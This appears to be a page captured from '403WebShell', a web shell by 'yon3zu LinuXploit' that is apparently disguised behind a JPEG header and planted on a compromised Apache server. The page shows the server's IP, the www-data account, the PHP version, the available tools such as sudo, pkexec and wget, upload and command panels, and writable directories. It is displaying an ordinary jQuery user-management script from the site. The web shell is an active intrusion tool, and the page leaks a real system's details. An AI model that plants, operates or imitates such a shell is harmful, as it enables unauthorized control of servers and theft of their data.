����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.137.163.99
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/utility/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/utility/j_mstuser.js
$(document).ready( function () 
{
  var value = {
    method : "getdata"
  };
  $('#table_user').DataTable({
    "paging": false,
    "lengthChange": false,
    "searching": false,
    "ordering": false,
    "info": false,
    "responsive": true,
    "autoWidth": false,
    "pageLength": 50,
    "dom": '<"top"f>rtip',
    "ajax": {
      "url": "c_mstuser.php",
      "type": "POST",
      "data":value,
    },
    "columns": [
    { "data": "id_user" },
    { "data": "username" },
    { "data": "h_menu" },
	{ "data": "stock_id" },
    { "data": "button" },
    ]
  });
});


$(document).ready(function(){
   $("#stock_id").load('../model/stock_id.php');
});


$(document).on("click","#check-all",function(){
  if ($(this).is(':checked')){
    $('.chkbox:enabled').prop('checked', true);
  }else{
    $('.chkbox').prop('checked', false);
  }
  get_check_value();
});
$(document).on("click",".chkbox",function(){
  get_check_value();
});
function get_check_value(){
  var values = [];
  $('.chkbox:checked').each(function() {
    values.push($(this).val());
  });
  $('#hmenu').val(values.join(','));
}
$(document).on( "click","#btnadd", function() {
  $("#modalmasteruser").modal('show');
  $("#txtiduser").val(0);
  $("#txtusername").val("");
  $("#inputcrud").val("N");
  set_focus("#txtusername");
});

$(document).on( "click",".btnedit", function() {

  var id_user = $(this).attr("id_user");
  var username = $(this).attr("username");
  var h_menu = $(this).attr("h_menu");
  $("#inputcrud").val("E");
  $("#txtiduser").val(id_user);
  $("#txtusername").val(username);
  $("#txtpass").val("***********");
  $("#hmenu").val(h_menu);
  $('.chkbox').prop('checked', false);
  var res = h_menu.split(",");
  for (i = 0; i < res.length; i++) { 
   $("#check-"+res[i]).prop('checked', true);
 }
 $("#modalmasteruser").modal('show');
 set_focus("#txtusername");
});


$(document).on( "click","#btnsaveuser", function() {
  var id_user = $("#txtiduser").val();
  var username=$("#txtusername").val();
  var pass_user=$("#txtpass").val();
  var hmenu=$("#hmenu").val();
  var stock_id=$("#stock_id").val();
  
  var crud=$("#inputcrud").val()
  if(username == '' || username== null ){
    $.notify({
      message: "Ingrese Usuario!"
    },{
      type: 'warning',
      delay: 10000,
    });
    $("#txtusername").focus();
    return;
  }
  if(username.toUpperCase()== 'ADMIN' ){
    $.notify({
      message: "Por Favor no use ADMIN O user"
    },{
      type: 'warning',
      delay: 10000,
    });
    $("#txtusername").focus();
    return;
  }
  if(pass_user == '' || pass_user == null ){
    $.notify({
      message: "Ingrese Pasword o contraseña"
    },{
      type: 'warning',
      delay: 10000,
    });
    $("#txtpass").focus();
    return;
  }
  var value = {
    id_user: id_user,
    username: username,
    pass_user:pass_user,
	stock_id:stock_id,
    h_menu : hmenu,
    crud:crud,
    method : "save_user"
  };
  $("#btnsaveuser").prop('disabled', true);
  proccess_waiting("#infoproses");
  $.ajax(
  {
    url : "c_mstuser.php",
    type: "POST",
    data : value,
    success: function(data, textStatus, jqXHR)
    {
      $("#btnsaveuser").prop('disabled', false);
      $("#infoproses").html("");
      var data = jQuery.parseJSON(data);
      if(data.crud == 'N'){
        if(data.result == true){
          $.notify("Save new user successfully");
          var table = $('#table_user').DataTable(); 
          table.ajax.reload( null, false );
          $("#txtiduser").val("");
          $("#txtusername").val("");
          $("#pass_user").val("");
          set_focus("#txtusername");

        }else{
          $.notify({
            message: "Error al guardar usuario , Error : "+data.error 
          },{
            type: 'danger',
            delay: 10000,
          });
          set_focus("#txtusername");
        }
      }else if(data.crud == 'E'){
        if(data.result == true){
          $.notify("Actualizado con exito!");
          var table = $('#table_user').DataTable(); 
          table.ajax.reload( null, false );
          $("#modalmasteruser").modal("hide");

        }else{
          $.notify({
            message: "Error al guardar nuevo usuario , Error : "+data.error 
          },{
            type: 'danger',
            delay: 10000,
          });
          set_focus("#txtiduser");
        }
      }else{
        $.notify({
          message: "error Orden!" 
        },{
          type: 'danger',
          delay: 10000,
        });
      }
    },
    error: function(jqXHR, textStatus, errorThrown)
    {
      $("#btnsaveuser").prop('disabled', false);
      
    }
  });
});


$(document).on("click",".btnpass",function(){
  var id_user = $(this).attr("id_user");
  $("#txthiduser").val(id_user);
  $("#passwordmodal").modal("show");
  set_focus("#txtresetpass");
})

$(document).on("click","#btnresetpassword",function(){
 var id_user = $("#txthiduser").val();
 var new_pass = $("#txtresetpass").val();
 swal({   
  title: "Borrar Password",   
  text: "Borrar Password?",   
  type: "warning",   
  showCancelButton: true,   
  confirmButtonColor: "#DD6B55",   
  confirmButtonText: "Reset",   
  closeOnConfirm: true }, 
  function(){   
    var value = {
      id_user: id_user,
      new_pass : new_pass,
      crud:'D',
      method : "reset_password"
    };
    $.ajax(
    {
      url : "c_mstuser.php",
      type: "POST",
      data : value,
      success: function(data, textStatus, jqXHR)
      {
        var data = jQuery.parseJSON(data);
        if(data.result == true){
          $.notify("Reset password successfully");
          $("#passwordmodal").modal("hide");
        }else{
          $.notify({
            message: "Error al borrar contraseña , Error : "+data.error 
          },{
            type: 'danger',
            delay: 10000,
          });
        }

      },
      error: function(jqXHR, textStatus, errorThrown)
      {
        $.notify({
          message:  "Error : "+textStatus
        },{
          type: 'danger',
          delay: 10000,
        });
      }
    });
  });
})

$(document).on( "click",".btndelete", function() {
  var id_user = $(this).attr("id_user");
  swal({   
    title: "Borrar ",   
    text: "borrar usuario id : "+id_user+" ?",   
    type: "warning",   
    showCancelButton: true,   
    confirmButtonColor: "#DD6B55",   
    confirmButtonText: "Borrar",   
    closeOnConfirm: true }, 
    function(){   
      var value = {
        id_user: id_user,
        crud:'D',
        method : "delete_user"
      };
      $.ajax(
      {
        url : "c_mstuser.php",
        type: "POST",
        data : value,
        success: function(data, textStatus, jqXHR)
        {
          var data = jQuery.parseJSON(data);
          if(data.result == true){
            $.notify("Delete user successfully");
            var table = $('#table_user').DataTable(); 
            table.ajax.reload( null, false );
          }else{
            $.notify({
              message: "Error al borrar  usuario , Error : "+data.error 
            },{
              type: 'danger',
              delay: 10000,
            });
          }
          
        },
        error: function(jqXHR, textStatus, errorThrown)
        {
          $.notify({
            message:  "Error : "+textStatus
          },{
            type: 'danger',
            delay: 10000,
          });
        }
      });
    });
});

Youez - 2016 - github.com/yon3zu
LinuXploit